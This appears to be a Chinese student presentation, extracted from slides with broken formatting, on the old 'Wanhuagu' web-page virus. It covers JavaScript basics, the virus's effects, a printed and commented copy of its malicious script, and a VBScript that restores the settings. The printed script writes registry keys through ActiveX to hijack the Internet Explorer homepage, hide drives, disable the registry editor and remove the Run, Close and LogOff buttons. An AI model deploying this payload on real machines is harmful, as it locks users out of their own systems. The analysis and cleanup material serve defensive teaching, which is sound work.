万花谷病毒介绍

1、小组成员：张曙天（小组成员：张曙天（20105313） 谢宏达（谢宏达（20105320） 李一奇（李一奇（20105311） 葛育辰（葛育辰（20105335）一 “万花谷”病毒的特点二 “万花谷”病毒源码分析三 “万花谷”病毒的清理方式Javascript简介JavaScript是一种基于对象和事件驱动并具有相对安全性的客户端脚本语言。同时也是一种广泛用于客户端Web开发的脚本语言，常用来给HTML网页添加动态功能，比如响应用户的各种操作。Javascript简介JavaScript程序是由若干语句组成的，语句是编写程序的指令。JavaScript提供了完整的基本编程语句，它们是：赋值语句

2、、switch选择语句、while循环语句、for循环语句、for each循环语句、do.while循环语句、break循环中止语句、continue循环中断语句、with语句、trycatch语句、if语句（if.else，ifelse if）。Javascript简介一般的函数都是以下格式：function myFunction(params)/执行的语句函数表达式：var myFunction=function(params)/执行的语句var myFunction = function()/执行的语句myFunction();/调用函数匿名函数，它常作为参数在其他函数间传递：wind

3、ow.addEventListener(load,function()/执行的语句,false); 曾经在互连网上散发过一个美丽诱人的网址“万花谷”，这实际是一个恶意“陷阱”，有人经不住诱惑，只用鼠标轻轻点一下，计算机就立即瘫痪了，这是有人利用Java最新技术进行破坏的一个恶意网址。 本病毒是在页面中嵌入了恶意的JavaScript代码 它最初出现在 http:/ 个人网站上，随后其他一些个人主页也模仿或被感染了该病毒代码。其破坏特性如下：(1)用户不能正常使用DOS功能程序；(2)用户不能正常退出WINDOWS；(3)用户无法修改或访问注册表。(4)将IE的浏览器的首页和文件夹中都加入了含有

4、该有害网页代码的网址和快捷方式“万花谷”。document.write(); function f() Try /ActiveX initialization a1=document.applets0; a1.setCLSID(“F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”);/ HKEY_CLASSES_ROOTCLSID 系统动态链接 a1.createInstance(); Shl = a1.GetObject(); try if (documents .cookies.indexOf(Chg) = -1) /以下内容是对注册表进行修改Shl.RegWrit

5、e (HKCUSoftwareMicrosoftInternet ExplorerMainStart Page,http:/ var expdate = new Date(new Date().getTime() + (1); documents.cookies=Chg=general; expires= + expdate.toGMTString() + ; path=/; /设置IE主页Shl.RegWrite (HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRun, 01, REG_BINARY); /消除RUN按

6、纽Shl.RegWrite (HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoClose, 01, REG_BINARY); /消除关闭按纽Shl.RegWrite (HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoLogOff, 01, REG_BINARY); /消除注销按纽Shl.RegWrite (HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDrives, 630000

7、00, REG_DWord); /隐藏盘符Shl.RegWrite (HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools, 00000001, REG_DWORD); /禁止注册表编辑器Shl.RegWrite (HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDesktop, 00000001, REG_DWORD); /屏蔽所有桌面图标Shl.RegWrite (HKCUSoftwareMicrosoftWindows

8、CurrentVersionPoliciesWinOldAppDisabled, 00000001, REG_DWORD); /禁止运行Dos程序Shl.RegWrite (HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldAppNoRealMode, 00000001, REG_DWORD);/屏蔽所有桌面图标Shl.RegWrite (HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeCaption, 您的计算机已经被/优化: ）

9、);/设置开机提示Shl.RegWrite (HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeText, 您的计算机已经被/优化:）);/弹出窗口中的内容Shl.RegWrite (HKLMSoftwareMicrosoftInternet ExplorerMainWindow Title,新的标题http:/ & /);Shl.RegWrite (HKCUSoftwareMicrosoftInternet ExplorerMainWindow Title,新的标题

10、http:/ & /);/设置IE标题 var expdate = new Date(new Date().getTime() + (1);documents .cookies=Chg=general; expires= + expdate.toGMTString() + ; path=/; catch(e) catch(e)function init()setTimeout(f(), 1000);init();方法一(利用 Windows 提供的恢复注册表功能)： 在“开始-运行”中输入Regedit命令，打开注册表编辑器，点选“文件”菜单下的“导入”命令，选择以

11、前备份的注册表文件，确定即可完成注册表的还原。方法二 Dim R Set R = CreateObject(WScript.Shell) Rem Write Regedit R.RegWrite HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRun, 0, REG_BINARY ；修复RUN按纽R.RegWrite HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoClose, 0, REG_BINARY ；修复关闭按纽R.RegWrite HKCUS

12、oftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoLogOff, 0, REG_BINARY ；修复注销按纽R.RegWrite HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDrives, 00000000, REG_DWORD ；取消隐藏盘符R.RegWrite HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools, 00000000, REG_DWORD ；

13、取消禁止注册表R.RegWrite HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDesktop“,”00000000“,”REG_DWORD“ ；R.RegWrite HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldAppDisabled, 00000000, REG_DWORD R.RegWrite HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesWinOldAppNoRealMode, 00000000, REG_DWORD R.RegWrite HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeCaption, , REG_SZ R.RegWrite HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeText, , REG_SZ ；重设开机提示R.RegWrite “HKLMSoftwareMicrosoftInternet ExplorerMainWindowTitle”, “”, REG_SZ ；